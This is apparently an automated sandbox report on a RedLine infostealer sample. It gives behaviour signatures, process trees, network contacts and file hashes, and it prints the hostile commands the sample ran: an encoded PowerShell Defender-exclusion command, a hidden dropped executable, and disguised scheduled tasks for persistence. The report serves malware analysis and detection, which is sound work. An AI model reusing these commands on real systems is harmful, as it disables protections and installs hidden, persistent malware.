Analysis Overview
SHA256
d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463
Threat Level: Known bad
The file d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe was found to be: Known bad.
Malicious Activity Summary
RedLine
RedLine payload
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
Suspicious use of SetThreadContext
Enumerates physical storage devices
Command and Scripting Interpreter: PowerShell
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Creates scheduled task(s)
Views/modifies file attributes
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-20 08:56
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-20 08:56
Reported
2024-05-20 08:59
Platform
win7-20231129-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe
"C:\Users\Admin\AppData\Local\Temp\d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe"
Network
Files
memory/1684-0-0x00000000749FE000-0x00000000749FF000-memory.dmp
memory/1684-1-0x0000000000A30000-0x0000000000AA6000-memory.dmp
\Users\Admin\AppData\Roaming\d3d9.dll
| MD5 | 9f84c9689115005f1cb61b36a2c7c67e |
| SHA1 | 76891a7d8c2ea143cb9dab05864fb04aea8a7153 |
| SHA256 | f732dbad6982c48205dbb20d7cb644ddfddcd26ca1b35700a2e81f5002130bf8 |
| SHA512 | 68b0fe1961328d9003b5918e62d0c3c9da0e79f9285771e99cc2a67f4f84739fed14c4e6343339c7f6578c3a9494e9da54a8f817cf30a6db39a87e407ee84538 |
memory/1684-6-0x00000000758F0000-0x00000000759B1000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-20 08:56
Reported
2024-05-20 08:59
Platform
win10v2004-20240508-en
Max time kernel
145s
Max time network
133s
Command Line
Signatures
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\conhost.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\conhost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\svcshost.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4880 set thread context of 456 | N/A | C:\Users\Admin\AppData\Local\Temp\d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\svcshost.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\svcshost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\svcshost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\svcshost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\svcshost.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe
"C:\Users\Admin\AppData\Local\Temp\d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
C:\Users\Admin\AppData\Local\Temp\conhost.exe
"C:\Users\Admin\AppData\Local\Temp\conhost.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
C:\Windows\system32\mode.com
mode 65,10
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e file.zip -p563741341569714296105326100 -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_2.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_1.zip -oextracted
C:\Windows\system32\attrib.exe
attrib +H "svcshost.exe"
C:\Users\Admin\AppData\Local\Temp\main\svcshost.exe
"svcshost.exe"
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C powershell -EncodedCommand "PAAjADAARQBmAEQAbABBACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABwADEARQBXAFQAbQBZACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAbgBNAE4AVgA4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEoAdwAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjADAARQBmAEQAbABBACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABwADEARQBXAFQAbQBZACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAbgBNAE4AVgA4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEoAdwAjAD4A"
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3654" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3654" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| RU | 147.45.47.93:80 | tcp | |
| US | 8.8.8.8:53 | 93.47.45.147.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 130.211.222.173.in-addr.arpa | udp |
| NL | 23.62.61.75:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | api.ip.sb | udp |
| US | 172.67.75.172:443 | api.ip.sb | tcp |
| US | 8.8.8.8:53 | 75.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.75.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| RU | 147.45.47.115:80 | 147.45.47.115 | tcp |
| US | 8.8.8.8:53 | 115.47.45.147.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 172.67.19.24:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | 24.19.67.172.in-addr.arpa | udp |
| RU | 147.45.47.115:80 | 147.45.47.115 | tcp |
| RU | 147.45.47.115:80 | 147.45.47.115 | tcp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.197.79.204.in-addr.arpa | udp |
Files
memory/4880-0-0x00000000751EE000-0x00000000751EF000-memory.dmp
memory/4880-1-0x0000000000F90000-0x0000000001006000-memory.dmp
C:\Users\Admin\AppData\Roaming\d3d9.dll
| MD5 | 9f84c9689115005f1cb61b36a2c7c67e |
| SHA1 | 76891a7d8c2ea143cb9dab05864fb04aea8a7153 |
| SHA256 | f732dbad6982c48205dbb20d7cb644ddfddcd26ca1b35700a2e81f5002130bf8 |
| SHA512 | 68b0fe1961328d9003b5918e62d0c3c9da0e79f9285771e99cc2a67f4f84739fed14c4e6343339c7f6578c3a9494e9da54a8f817cf30a6db39a87e407ee84538 |
memory/456-8-0x0000000000700000-0x0000000000752000-memory.dmp
memory/4880-10-0x00000000751E0000-0x0000000075990000-memory.dmp
memory/456-11-0x0000000005190000-0x0000000005734000-memory.dmp
memory/456-12-0x00000000751E0000-0x0000000075990000-memory.dmp
memory/456-13-0x0000000004C80000-0x0000000004D12000-memory.dmp
memory/456-14-0x0000000004C50000-0x0000000004C5A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Tmp519A.tmp
| MD5 | 1420d30f964eac2c85b2ccfe968eebce |
| SHA1 | bdf9a6876578a3e38079c4f8cf5d6c79687ad750 |
| SHA256 | f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9 |
| SHA512 | 6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8 |
memory/456-31-0x0000000005AC0000-0x0000000005B36000-memory.dmp
memory/456-32-0x0000000006170000-0x000000000618E000-memory.dmp
memory/456-35-0x00000000751E0000-0x0000000075990000-memory.dmp
memory/456-36-0x00000000069C0000-0x0000000006FD8000-memory.dmp
memory/456-37-0x0000000006600000-0x000000000670A000-memory.dmp
memory/456-38-0x0000000006540000-0x0000000006552000-memory.dmp
memory/456-39-0x00000000065A0000-0x00000000065DC000-memory.dmp
memory/456-40-0x00000000067B0000-0x00000000067FC000-memory.dmp
memory/456-43-0x0000000008CB0000-0x0000000008D16000-memory.dmp
memory/456-44-0x0000000008FB0000-0x0000000009000000-memory.dmp
memory/456-45-0x00000000094D0000-0x0000000009692000-memory.dmp
memory/456-46-0x0000000009BD0000-0x000000000A0FC000-memory.dmp
memory/4880-47-0x00000000751E0000-0x0000000075990000-memory.dmp
memory/456-48-0x00000000751E0000-0x0000000075990000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\conhost.exe
| MD5 | be320b59ef29060678bcb78d6c8fa059 |
| SHA1 | eb76091dc908c5bcf1ddd24900f53b6d9119bf53 |
| SHA256 | 9fdadcad0d51590fd9b604d464cdac18c9b34d43b4194c7d54110b299a841145 |
| SHA512 | 8015324abb929d2ff22c1ba96bf79fe2393a16ad9daa93caef756ab41122b9e582fca68aaf8b625934aad3140223db6928a105633bb5ca209a2a3980383383fc |
memory/456-67-0x00000000751E0000-0x0000000075990000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\main\main.bat
| MD5 | 1005b0d4f17c3e5c9a8c0e89f3943c63 |
| SHA1 | 5d5e9a7ad0c21cb256f7381cb1fd414aff83d102 |
| SHA256 | db61ff7a98d6279ae8db81c9713407f42f673da134d2b12d31d0bae0a3eb00e7 |
| SHA512 | 845c09bded690af0563c6f94357d591425604b4d34404c46caba5295c192dd7eb66b620d2656b4de6a26f90657e08f591b9b46bb3d821d5344329727f37d5540 |
C:\Users\Admin\AppData\Local\Temp\main\file.bin
| MD5 | 6f4dc951bbb91da352f1b1736b9551dc |
| SHA1 | c94c3fbb3a830f8a3f98963eef485ecbf7f8487b |
| SHA256 | ffeeaa61d3e4e3aeedbd1303757049b46e30bad6445e6d78f02efce265071404 |
| SHA512 | da41d47ce5f4599bb7acbf71cfd22980f2f0f2cd74aecf1dc9664f349815a44389f13c0c2c70a89812ab665fb4b932f64f0a48664d63206e22db655f223406ea |
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | 619f7135621b50fd1900ff24aade1524 |
| SHA1 | 6c7ea8bbd435163ae3945cbef30ef6b9872a4591 |
| SHA256 | 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2 |
| SHA512 | 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 72491c7b87a7c2dd350b727444f13bb4 |
| SHA1 | 1e9338d56db7ded386878eab7bb44b8934ab1bc7 |
| SHA256 | 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891 |
| SHA512 | 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
| MD5 | 1dea9b52d271181663e8490fb0cfb259 |
| SHA1 | ecb5431dd5f2195fa006f6b122fbada1ee7814fa |
| SHA256 | 4d06d0ef87f79d86c05b505d6bb1726e76e032514de129b1421d660fd31b7934 |
| SHA512 | fff4c592f7947f29fc3c1209f13d9c2b19a052e88cab59e1f18f0d30eb53b734601d8292dbfb2004d6ab13b72f36d3ef600808c83625aa32f5a152af6acc1812 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
| MD5 | ed96024f86a8d005a58c85056c939b57 |
| SHA1 | 304349dddbc2be0b786188aeb9f3e774b3eee000 |
| SHA256 | 191472c620709b27aaf22d77531ad320de820f4470911d12ca947835b11985a3 |
| SHA512 | d8b40cd1a478daeb50aaf641b5dca98f483b7164f06a0c7bc9ff73f3ae75197542518b1fa867622600f3b589756e493bba6baa88c98a284751f2a4abd710e07d |
C:\Users\Admin\AppData\Local\Temp\main\extracted\svcshost.exe
| MD5 | 3157f43bcc6254d4dd2b18ed3748cc0e |
| SHA1 | e9268a22049763ada485c7ab61538767f1e5693e |
| SHA256 | 8abd4b8b64f0594bd1295a458d5f157fe6d3af3000318025273645c753ec18aa |
| SHA512 | 0ea5d6a6e12bc7fea0f1129aed97eb15801d9003033d96758810598bee9d8dc1a49626e655527cb7c758856e2c471e4801460abffdaeb2d8c4b7faebdb91d74e |
C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
| MD5 | 7fc02b51dd8ee71d01cf01ec2faa8cc6 |
| SHA1 | 52d16d36ea5719177ac56d1420281587b84268e5 |
| SHA256 | 87920f35f5b119fa851cc3e1be8d26669a86636d25fb5a1fc71d8e49c20426b1 |
| SHA512 | f7c98a71882f8517b9c942222de7f5ef8b75a3b5699530f194ff1c670c1e4c4ab1622d2dbf5e9145df28d67491a96fd5c2e6b2ebf8aa9fa07415e4e7466bde5c |
memory/4732-99-0x0000000000100000-0x000000000010C000-memory.dmp
memory/4840-100-0x0000000002380000-0x00000000023B6000-memory.dmp
memory/4840-101-0x0000000004DA0000-0x00000000053C8000-memory.dmp
memory/4840-102-0x0000000005500000-0x0000000005522000-memory.dmp
memory/4840-103-0x00000000055A0000-0x0000000005606000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y2hs4p5b.1pn.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4840-113-0x0000000005820000-0x0000000005B74000-memory.dmp
memory/4840-114-0x0000000005C90000-0x0000000005CAE000-memory.dmp
memory/4840-115-0x0000000005CE0000-0x0000000005D2C000-memory.dmp
memory/4840-116-0x0000000006270000-0x00000000062A2000-memory.dmp
memory/4840-117-0x0000000071B50000-0x0000000071B9C000-memory.dmp
memory/4840-127-0x0000000006E60000-0x0000000006E7E000-memory.dmp
memory/4840-128-0x0000000006E90000-0x0000000006F33000-memory.dmp
memory/4840-129-0x0000000007610000-0x0000000007C8A000-memory.dmp
memory/4840-130-0x0000000006FC0000-0x0000000006FDA000-memory.dmp
memory/4840-131-0x0000000007040000-0x000000000704A000-memory.dmp
memory/4840-132-0x0000000007240000-0x00000000072D6000-memory.dmp
memory/4840-133-0x00000000071C0000-0x00000000071D1000-memory.dmp
memory/4840-137-0x0000000007200000-0x000000000720E000-memory.dmp
memory/4840-138-0x0000000007210000-0x0000000007224000-memory.dmp
memory/4840-143-0x0000000007300000-0x000000000731A000-memory.dmp
memory/4840-144-0x00000000072E0000-0x00000000072E8000-memory.dmp